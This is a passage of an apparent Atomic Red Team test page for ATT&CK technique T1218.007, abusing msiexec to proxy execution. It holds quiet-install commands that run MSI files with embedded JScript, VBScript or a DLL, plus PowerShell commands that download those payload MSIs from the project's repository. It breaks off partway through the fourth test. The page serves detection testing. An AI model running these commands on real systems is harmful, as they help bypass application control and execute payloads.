# T1218.007 - Signed Binary Proxy Execution: Msiexec

## Description from ATT&CK

> Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
> 
> Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

[Source](https://attack.mitre.org/techniques/T1218/007)

## Atomic Tests

- [Atomic Test #1: Msiexec.exe - Execute Local MSI file with embedded JScript](#atomic-test-1-msiexecexe---execute-local-msi-file-with-embedded-jscript)
- [Atomic Test #2: Msiexec.exe - Execute Local MSI file with embedded VBScript](#atomic-test-2-msiexecexe---execute-local-msi-file-with-embedded-vbscript)
- [Atomic Test #3: Msiexec.exe - Execute Local MSI file with an embedded DLL](#atomic-test-3-msiexecexe---execute-local-msi-file-with-an-embedded-dll)
- [Atomic Test #4: Msiexec.exe - Execute Local MSI file with an embedded EXE](#atomic-test-4-msiexecexe---execute-local-msi-file-with-an-embedded-exe)
- [Atomic Test #5: WMI Win32_Product Class - Execute Local MSI file with embedded JScript](#atomic-test-5-wmi-win32_product-class---execute-local-msi-file-with-embedded-jscript)
- [Atomic Test #6: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript](#atomic-test-6-wmi-win32_product-class---execute-local-msi-file-with-embedded-vbscript)
- [Atomic Test #7: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL](#atomic-test-7-wmi-win32_product-class---execute-local-msi-file-with-an-embedded-dll)
- [Atomic Test #8: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE](#atomic-test-8-wmi-win32_product-class---execute-local-msi-file-with-an-embedded-exe)
- [Atomic Test #9: Msiexec.exe - Execute the DllRegisterServer function of a DLL](#atomic-test-9-msiexecexe---execute-the-dllregisterserver-function-of-a-dll)
- [Atomic Test #10: Msiexec.exe - Execute the DllUnregisterServer function of a DLL](#atomic-test-10-msiexecexe---execute-the-dllunregisterserver-function-of-a-dll)
- [Atomic Test #11: Msiexec.exe - Execute Remote MSI file](#atomic-test-11-msiexecexe---execute-remote-msi-file)

### Atomic Test #1: Msiexec.exe - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using msiexec.exe

**Supported Platforms:** Windows

**auto_generated_guid:** `a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder&#92;T1218.007&#92;bin&#92;T1218.007_JScript.msi|
| msi_exe | MSIExec File Path | path | c:&#92;windows&#92;system32&#92;msiexec.exe|
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{msi_exe} /q /#{action} "#{msi_payload}"
```


#### Dependencies: Run with `powershell`!

##### Description: The MSI file must exist on disk at specified location (#{msi_payload})

###### Check Prereq Commands

```powershell
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"
```

### Atomic Test #2: Msiexec.exe - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using msiexec.exe

**Supported Platforms:** Windows

**auto_generated_guid:** `8d73c7b0-c2b1-4ac1-881a-4aa644f76064`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder&#92;T1218.007&#92;bin&#92;T1218.007_VBScript.msi|
| msi_exe | MSIExec File Path | path | c:&#92;windows&#92;system32&#92;msiexec.exe|
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{msi_exe} /q /#{action} "#{msi_payload}"
```


#### Dependencies: Run with `powershell`!

##### Description: The MSI file must exist on disk at specified location (#{msi_payload})

###### Check Prereq Commands

```powershell
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"
```

### Atomic Test #3: Msiexec.exe - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using msiexec.exe

**Supported Platforms:** Windows

**auto_generated_guid:** `628fa796-76c5-44c3-93aa-b9d8214fd568`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder&#92;T1218.007&#92;bin&#92;T1218.007_DLL.msi|
| msi_exe | MSIExec File Path | path | c:&#92;windows&#92;system32&#92;msiexec.exe|
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{msi_exe} /q /#{action} "#{msi_payload}"
```


#### Dependencies: Run with `powershell`!

##### Description: The MSI file must exist on disk at specified location (#{msi_payload})

###### Check Prereq Commands

```powershell
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"
```

### Atomic Test #4: Msiexec.exe - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using msiexec.exe

**Supported Platforms:** Windows

**auto_generated_guid:** `ed3fa08a-ca18-4009-973e-03d13014d0e